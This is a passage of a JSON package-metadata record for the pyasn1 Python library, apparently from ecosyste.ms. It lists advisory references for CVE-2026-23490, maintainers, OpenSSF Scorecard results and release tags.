-23490","https://bugzilla.redhat.com/show_bug.cgi?id=2430472","https://github.com/advisories/GHSA-63vm-454h-vhhq","https://github.com/pyasn1/pyasn1","https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml","https://pypi.org/project/pyasn1","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json","https://access.redhat.com/errata/RHSA-2026:3359","https://access.redhat.com/errata/RHSA-2026:2300","https://access.redhat.com/errata/RHSA-2026:2299","https://access.redhat.com/errata/RHSA-2026:2221","https://access.redhat.com/errata/RHSA-2026:19712","https://access.redhat.com/errata/RHSA-2026:1906","https://access.redhat.com/errata/RHSA-2026:1905","https://access.redhat.com/errata/RHSA-2026:1904","https://access.redhat.com/errata/RHSA-2026:1903","https://access.redhat.com/errata/RHSA-2026:17611","https://access.redhat.com/errata/RHSA-2026:17595","https://access.redhat.com/errata/RHSA-2026:17446","https://access.redhat.com/errata/RHSA-2026:14020","https://access.redhat.com/errata/RHSA-2026:13553","https://access.redhat.com/errata/RHSA-2026:13545","https://access.redhat.com/errata/RHSA-2026:13512","https://access.redhat.com/errata/RHSA-2026:13508","https://access.redhat.com/errata/RHSA-2026:3354","https://access.redhat.com/errata/RHSA-2026:30088","https://access.redhat.com/errata/RHSA-2026:28042","https://access.redhat.com/errata/RHSA-2026:2758","https://access.redhat.com/errata/RHSA-2026:2712","https://access.redhat.com/errata/RHSA-2026:24977","https://access.redhat.com/errata/RHSA-2026:24866","https://access.redhat.com/errata/RHSA-2026:2486","https://access.redhat.com/errata/RHSA-2026:2483","https://access.redhat.com/errata/RHSA-2026:2460","https://access.redhat.com/errata/RHSA-2026:2453","https://access.redhat.com/errata/RHSA-2026:24483","https://access.redhat.com/errata/RHSA-2026:24476","https://access.redhat.com/errata/RHSA-2026:2309","https://access.redhat.com/errata/RHSA-2026:2303","https://access.redhat.com/errata/RHSA-2026:2302","https://access.redhat.com/errata/RHSA-2026:54757"],"source_kind":"github","identifiers":["GHSA-63vm-454h-vhhq","CVE-2026-23490"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-01-16T20:00:07.759Z","updated_at":"2026-08-20T13:03:56.534Z","epss_percentage":0.00705,"epss_percentile":0.50547,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02M3ZtLTQ1NGgtdmhocc4ABRMi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02M3ZtLTQ1NGgtdmhocc4ABRMi","packages":[{"ecosystem":"pypi","package_name":"pyasn1","versions":[{"first_patched_version":"0.6.2","vulnerable_version_range":"= 0.6.1"}],"purl":"pkg:pypi/pyasn1"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02M3ZtLTQ1NGgtdmhocc4ABRMi/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/pyasn1","docker_dependents_count":10274,"docker_downloads_count":5762168119,"usage_url":"https://repos.ecosyste.ms/usage/pypi/pyasn1","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/pyasn1/dependencies","status":null,"funding_links":["http://snmplabs.com/sponsorship.html"],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-20T11:37:45.936Z","issues_count":58,"pull_requests_count":79,"avg_time_to_close_issue":9508472.26923077,"avg_time_to_close_pull_request":4086520.484375,"issues_closed_count":26,"pull_requests_closed_count":64,"pull_request_authors_count":21,"issue_authors_count":51,"avg_comments_per_issue":1.396551724137931,"avg_comments_per_pull_request":0.45569620253164556,"merged_pull_requests_count":61,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":11,"past_year_pull_requests_count":20,"past_year_avg_time_to_close_issue":411038.6666666667,"past_year_avg_time_to_close_pull_request":1111002.7,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":10,"past_year_pull_request_authors_count":8,"past_year_issue_authors_count":9,"past_year_avg_comments_per_issue":0.5454545454545454,"past_year_avg_comments_per_pull_request":0.3,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/issues","maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}],"active_maintainers":[{"login":"droideck","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/droideck"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/pyasn1/codemeta","maintainers":[{"uuid":"etingof","login":"etingof","name":null,"email":null,"url":null,"packages_count":16,"html_url":"https://pypi.org/user/etingof/","role":null,"created_at":"2022-12-23T02:26:01.506Z","updated_at":"2022-12-23T02:26:01.506Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/etingof/packages"},{"uuid":"ilya","login":"ilya","name":null,"email":null,"url":null,"packages_count":18,"html_url":"https://pypi.org/user/ilya/","role":null,"created_at":"2022-12-23T02:26:01.512Z","updated_at":"2022-12-23T02:26:01.512Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/ilya/packages"},{"uuid":"tiran","login":"tiran","name":null,"email":null,"url":null,"packages_count":50,"html_url":"https://pypi.org/user/tiran/","role":null,"created_at":"2022-12-23T02:26:01.515Z","updated_at":"2022-12-23T02:26:01.515Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/tiran/packages"},{"uuid":"droideck","login":"droideck","name":null,"email":null,"url":null,"packages_count":5,"html_url":"https://pypi.org/user/droideck/","role":null,"created_at":"2022-12-23T02:26:01.500Z","updated_at":"2022-12-23T02:26:01.500Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/droideck/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":929794,"maintainers_count":399344,"namespaces_count":0,"keywords_count":311282,"github":"pypi","metadata":{"funded_packages_count":58148,"rate_limit":2},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-08-20T05:05:11.122Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":14373794,"name":"github.com/pyasn1/pyasn1","ecosystem":"go","description":null,"homepage":null,"licenses":"bsd-2-clause","normalized_licenses":["BSD-2-Clause"],"repository_url":"https://github.com/pyasn1/pyasn1","keywords_array":[],"namespace":null,"versions_count":24,"first_release_published_at":"2026-05-03T13:52:50.888Z","latest_release_published_at":"2026-07-09T01:03:05.000Z","latest_release_number":"v0.6.4","last_synced_at":"2026-08-21T00:43:29.014Z","created_at":"2026-05-03T13:52:46.587Z","updated_at":"2026-08-21T00:43:29.014Z","registry_url":"https://pkg.go.dev/github.com/pyasn1/pyasn1","install_command":"go get github.com/pyasn1/pyasn1","documentation_url":"https://pkg.go.dev/github.com/pyasn1/pyasn1#section-documentation","metadata":{},"repo_metadata":{"id":44472576,"uuid":"512723255","full_name":"pyasn1/pyasn1","owner":"pyasn1","description":"Generic ASN.1 library for Python","archived":false,"fork":true,"pushed_at":"2026-07-09T01:25:56.000Z","size":1918,"stargazers_count":52,"open_issues_count":35,"forks_count":39,"subscribers_count":5,"default_branch":"main","last_synced_at":"2026-08-08T05:52:12.087Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://pyasn1.readthedocs.io/","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"etingof/pyasn1","license":"bsd-2-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pyasn1.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGES.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE.rst","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null},"funding":{"custom":"http://snmplabs.com/sponsorship.html"}},"created_at":"2022-07-11T11:09:16.000Z","updated_at":"2026-08-07T19:59:54.000Z","dependencies_parsed_at":"2023-01-31T20:55:14.322Z","dependency_job_id":null,"html_url":"https://github.com/pyasn1/pyasn1","commit_stats":null,"previous_names":[],"tags_count":20,"template":false,"template_full_name":null,"purl":"pkg:github/pyasn1/pyasn1","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/sbom","scorecard":{"id":751119,"data":{"date":"2025-08-11","repo":{"name":"github.com/pyasn1/pyasn1","commit":"d2015ad04336944511ce7643914e8daf432ef2f9"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Maintained","score":1,"reason":"2 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 1","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":6,"reason":"Found 19/28 approved changesets -- score normalized to 6","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/main.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi.yml:5","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:80: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/main.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:34: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi.yml:38: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:50: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi.yml:56: update your workflow using https://app.stepsecurity.io/secureworkflow/pyasn1/pyasn1/pypi.yml/main?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:56","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:58","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:75","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:43","Warn: pipCommand not pinned by hash: .github/workflows/pypi.yml:45","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   2 third-party GitHubAction dependencies pinned","Info:   0 out of   6 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.rst:0","Info: FSF or OSI recognized license: BSD 2-Clause \"Simplified\" License: LICENSE.rst:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":8,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: required approving review count is 1 on branch 'main'","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Info: PRs are required in order to make changes on branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 29 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T20:24:45.472Z","repository_id":44472576,"created_at":"2025-08-22T20:24:45.472Z","updated_at":"2025-08-22T20:24:45.472Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36403979,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-08T02:00:08.763Z","response_time":96,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pyasn1","name":"pyasn1 maintenance organization","uuid":"109076791","kind":"organization","description":"","email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/109076791?v=4","repositories_count":3,"last_synced_at":"2026-08-08T06:20:56.606Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/pyasn1","funding_links":[],"total_stars":61,"followers":3,"following":0,"created_at":"2024-05-21T11:51:17.782Z","updated_at":"2026-08-08T06:20:56.656Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pyasn1/repositories"},"tags":[{"name":"v0.5.0.rc2","sha":"08ac8006b7775551027e5d4b0e642a528c296565","kind":"commit","published_at":"2022-08-23T07:25:48.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc2/manifests"},{"name":"v0.5.0.rc1","sha":"0f458da4eb801add67c47d51e8e147515ea0ca19","kind":"commit","published_at":"2022-08-08T08:40:20.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.5.0.rc1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.5.0.rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.5.0.rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.5.0.rc1/manifests"},{"name":"v0.4.8","sha":"70c1bbde72f8b53f82ed1a7e00cb98fe51c1455f","kind":"commit","published_at":"2019-11-16T17:12:43.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.8","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.8/manifests"},{"name":"v0.4.7","sha":"771aa24c2b52e0ec410f9a94c3a114a6078a3641","kind":"commit","published_at":"2019-09-01T15:58:56.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"bb6b6e26fd2072dae8ba6664e2b8b6c5b78ce5a8","kind":"commit","published_at":"2019-07-31T19:43:30.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"df6fc9a8aae16e32f60a1ff1f42a52c8c344a993","kind":"commit","published_at":"2018-12-29T20:44:17.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"4ad415d71beb6b466842e6c32ec6387b88a3dbae","kind":"commit","published_at":"2018-07-26T07:26:23.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"4b7961a12bfce7a411423aba195bcb9a329f8c4a","kind":"commit","published_at":"2018-05-23T20:36:13.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"df3a2b7781c72ffc703e80d788618d93634e17ab","kind":"commit","published_at":"2017-11-23T18:48:19.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"67e460c8302cd1e2cf181b0d0430f3cdd9681b0c","kind":"commit","published_at":"2017-11-23T10:44:10.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.4.1","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.4.1/manifests"},{"name":"v0.3.7","sha":"136f9e71f50ed8938037e5641b19d857f11b13e4","kind":"commit","published_at":"2017-10-04T20:04:07.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.7","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"57b7faf331fe5f2b1cbaa530ea39ed10dfdfe3b7","kind":"commit","published_at":"2017-09-20T20:30:05.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.6","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"3182ecf81839ae4072a46706c3d0426a03f80be8","kind":"commit","published_at":"2017-09-16T22:16:53.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.5","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"f53f48553c5e683a0c5e9e8009ef754410f2b9e0","kind":"commit","published_at":"2017-09-07T06:59:46.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.4","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"3938e520f13feee93dccabf9824f0da122cc54ed","kind":"commit","published_at":"2017-08-26T23:30:41.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.3","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"c7ff66bd5bd64b4a7473dbdfbb931b7c56f5f5cd","kind":"commit","published_at":"2017-08-04T18:40:24.000Z","download_url":"https://codeload.github.com/pyasn1/pyasn1/tar.gz/v0.3.2","html_url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pyasn1/pyasn1@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pyasn1%2Fpyasn1/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"d6540fd67a0080f369a1b165eae4ad946155dad9","kind":"commit","published_at":